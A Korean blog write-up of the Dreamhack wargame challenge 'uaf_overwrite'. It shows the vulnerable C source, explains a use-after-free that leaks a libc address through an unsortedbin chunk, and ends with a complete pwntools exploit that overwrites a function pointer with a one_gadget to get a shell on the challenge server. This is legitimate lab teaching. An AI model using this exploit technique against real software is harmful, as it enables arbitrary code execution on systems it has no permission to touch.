보안/Wargame

[System Hacking] uaf_overwrite

kykyky 2025. 2. 2. 18:01

소스코드

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));

  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);

  printf("Human Age: ");
  scanf("%ld", &human->age);

  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));

  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);

  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;

  robot->fptr(robot);

  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }

  printf("Size: ");
  scanf("%d", &size);

  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);

    printf("Data: %s\n", custom[c_idx]);

    printf("Free idx: ");
    scanf("%d", &idx);

    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }

  c_idx++;
}

int main() {
  int idx;
  char *ptr;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

 

보호기법 등 확인

FULL RELRO 보호 기법 -> GOT Overwrite는 어려움

취약한 부분 찾기 

malloc()이 human_func(), robot_func(), custom_func()에서 발생하는데,

새로운 메모리 할당 시 메모리가 초기화되지 않기 때문에,

chunk가 재사용될 시 기존 데이터가 노출되는 UAF가 발생할 수 있다.

 

특히 Human과 Robot 구조체는 크기가 같으므로, 

한 구조체를 해제하고 다른 구조체를 할당하면, 해제됐던 구조체의 값을 사용할 수 있는 UAF가 발생하고,

 

custom_func()에서는 256바이트 이상의 어떤 크기의 chunk든 할당할 수 있고,

만약 1040바이트를 넘으면, 이는 해제 시 tcache를 거치지 않고 바로 unsortedbin에 연결되는데,

이때!!! unsortedbin에 처음 연결되는 청크는 원래 기본적으로 libc 영역의 특정 주소와 이중 원형 연결 리스트를 형성하여, 이 청크의 fd 값에는 libc 영역의 특정 주소가 들어간다!

따라서, unsortedbin에 연결된 청크를 재할당한 후, UAF 취약점으로 fd의 값을 읽으면??? libc 영역의 특정 주소를 구할 수 있고,

오프셋을 빼면 libc가 매핑된 베이스 주소를 계산할 수 있다!  

 

또한 robot_func()는 Robot 구조체에 fptr이 NULL이 아닐 경우 이 fptr이 가리키는 함수를 호출하므로,

이 값을 조작할 수 있다면 실행 흐름을 조작할 수 있다.

libc 베이스 주소 구하기

libc 베이스 주소 = libc에 포함된 특정 위치의 주소 - 이 위치의 libc 베이스로부터의 offset

즉, libc_base = sth - sth_offset

1. sth 구하기

여기서 sth는 custom_func()에서 unsortedbin 크기의 chunk를 UAF하여 leak할 것이다.

과정 요약

i) unsortedbin 크기의 chunk 3개를 할당하고,  

ii) 맨 첫 번째 chunk를 free하여 unsortedbin에 연결시키고,

iii) 곧바로 같은 크기의 chunk를 재할당하여 그 메모리를 leak해야 한다.

Q. i)단계에서 왜 chunk 1개도 2개도 아니고 3개를? 
A. chunk 1개만을 할당하면, 이는 top chunk와 바로 맞닿아버리게 되어,
이 상태로 ii)단계에서 chunk를 해제할 시 이 chunk는 top chunk에 병합돼버린다 (본인의 크기 그대로 유지하지 못고).
그러면 UAF를 이용할 수 없다.
chunk가 2개인 경우, 이유는 모르겠으나 경험적으로 되다가 안되다가 한다.
chunk 3개부턴 안정적으로 leak에 성공하는 것으로 보인다. 

상세

leak 과정을 실제로 확인해보자.

(원래 export LD_PRELOAD=$(realpath ./libc-2.27.so)를 통해 2.27 버전의 libc를 강제 로드한 뒤 디버깅해야 하는데, 

주어진 Docker에서든 내 호스트에서든, export 이후에는 pwndbg가 켜지지 않아서 

불가피하게 export하지 않은 상태에서 디버깅한다.) 

 

1번째 chunk 할당

 

2번째 chunk 할당

 

3번째 chunk 할당

 

1번째 chunk 해제

unsortedbin의 시작에 연결되어, fd에 libc에 포함된 주소가 존재한다.

 

(실제 libc가 매핑된 주소는 아래와 같다.)

 

4번째 chunk 할당

내가 입력한 데이터 A 외에 알 수 없는 값이 출력되었는데,

 

그건 바로

이전에 Free됨으로써 생긴 fd와 bk 포인터값 중 fd값 (= sth)이

내가 4번째 chunk 할당에서 입력한 데이터인 A로 LSB 1바이트가 overwrite된 값이다.

 

즉, sth = 0x7ffff7fa0a??이다. (데이터 때문에 LSB 1바이트가 오염된 것이니까, 이값은 알 수 없음)

2. sth_offset 구하기

sth_offset = sth - libc_base = (fd값) - (vmmap에서 확인한 libc 매핑 시작 주소)로 구하면 된다.

(이 글에서는 libc 버전 오류 때문에 실습 불가하므로 직접 구하지 않고 드림핵에서 알려준 값을 사용한다)

sth_offset = 0x3ebca0이다.  

3. libc_base 구하기

libc_base = sth - sth_offset인데,

sth의 LSB 1바이트가 불확실하다.

 

그러나, 일반적으로 libc_base의 LSB 1바이트는 0x00이므로,

그냥 libc_base = sth에서 LSB 1바이트를 0x00으로 바꾼 값 (즉, 내가 입력한 데이터를 빼면 됨) - sth_offset에서 LSB 1바이트를 0x00으로 바꾼 값이다.

원가젯 주소 구하기

one_gadget = libc_base + one_gagdet_offset

one_gagdet_offset = 0x4f3ce OR 0x4f3d5 OR 0x4f432 OR 0x10a41c 

여기서는 0x10a41c을 사용하였다.

함수 포인터 주소를 원가젯 주소로 덮어쓰기

robot->fptr은 구조적으로 human->age와 매치되므로,

만약 human->age에 one_gadget을 넣고, human chunk를 free한 뒤, 바로 같은 크기인 robot chunk를 할당하면, 

human chunk에 남아있던 one_gadget이 robot chunk의 fptr으로 될 수 있다.

최종 Exploit

#!/usr/bin/env python3
from pwn import *

p = remote('host1.dreamhack.games', 8772)

def slog(sym, val): success(sym + ': ' + hex(val))

def human(weight, age):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b': ', str(weight).encode())
    p.sendlineafter(b': ', str(age).encode())

def robot(weight):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b': ', str(weight).encode())

def custom(size, data, idx):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b': ', str(size).encode())
    p.sendafter(b': ', data)
    p.sendlineafter(b': ', str(idx).encode())

# 할당 -> 할당 -> 할당 -> 해제 -> 할당 (UAF)
custom(0x500, b'blahblah1', -1)
custom(0x500, b'blahblah2', -1)
custom(0x500, b'blahblah3', 0)
custom(0x500, b'A', -1) 
    # 4번째 custom() 호출을 직접 입력하면 출력이 아래와 같음

    # 1. Human
    # 2. Robot
    # 3. Custom
    # > 3
    # Size: 1280
    # Data: A
    # Data: A <- here
    # ���
    # Free idx: 

    # 이때, p.sendlineafter(b': ', str(idx).encode())   이 코드에 의해,
    # 1)  here line의 : 이후에 발생하는 사용자 입력이 나타났을 때 str(idx).encode()을 전달하는데, 
    #     이것은 Free idx: 직후 전달된다.
    # 2)  exploit 코드는 아직 here line의 : 까지밖에 읽어내지 않았으므로,
    #     here2 line의 p.recvline()는 정말로 공격자가 원하는 here line의 Data: 직후를 읽게 된다.
    
# libc_base과 one_gadget 계산 
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x41 - 0x3ebc00 # here2, 0x41은 4번째 custom()을 통해 입력한 데이터인 'A'의 ascii이다
one_gadget = libc_base + 0x10a41c 

slog('libc_base', libc_base)
slog('one_gadget', one_gadget)

# UAF하여 `robot->fptr`를 one_gadget으로 Overwrite
human(1, one_gadget)
robot(1)

p.interactive()

 

'보안 > Wargame' 카테고리의 다른 글

[System Hacking] Format String Bug  (0) 2025.01.28
[Web hacking] bob12-idor-practice  (0) 2024.07.24
[System Hacking] out_of_bound  (0) 2024.07.10
[Web Hacking] file-download-1  (0) 2024.07.09
[Web Hacking] image-storage  (0) 2024.07.08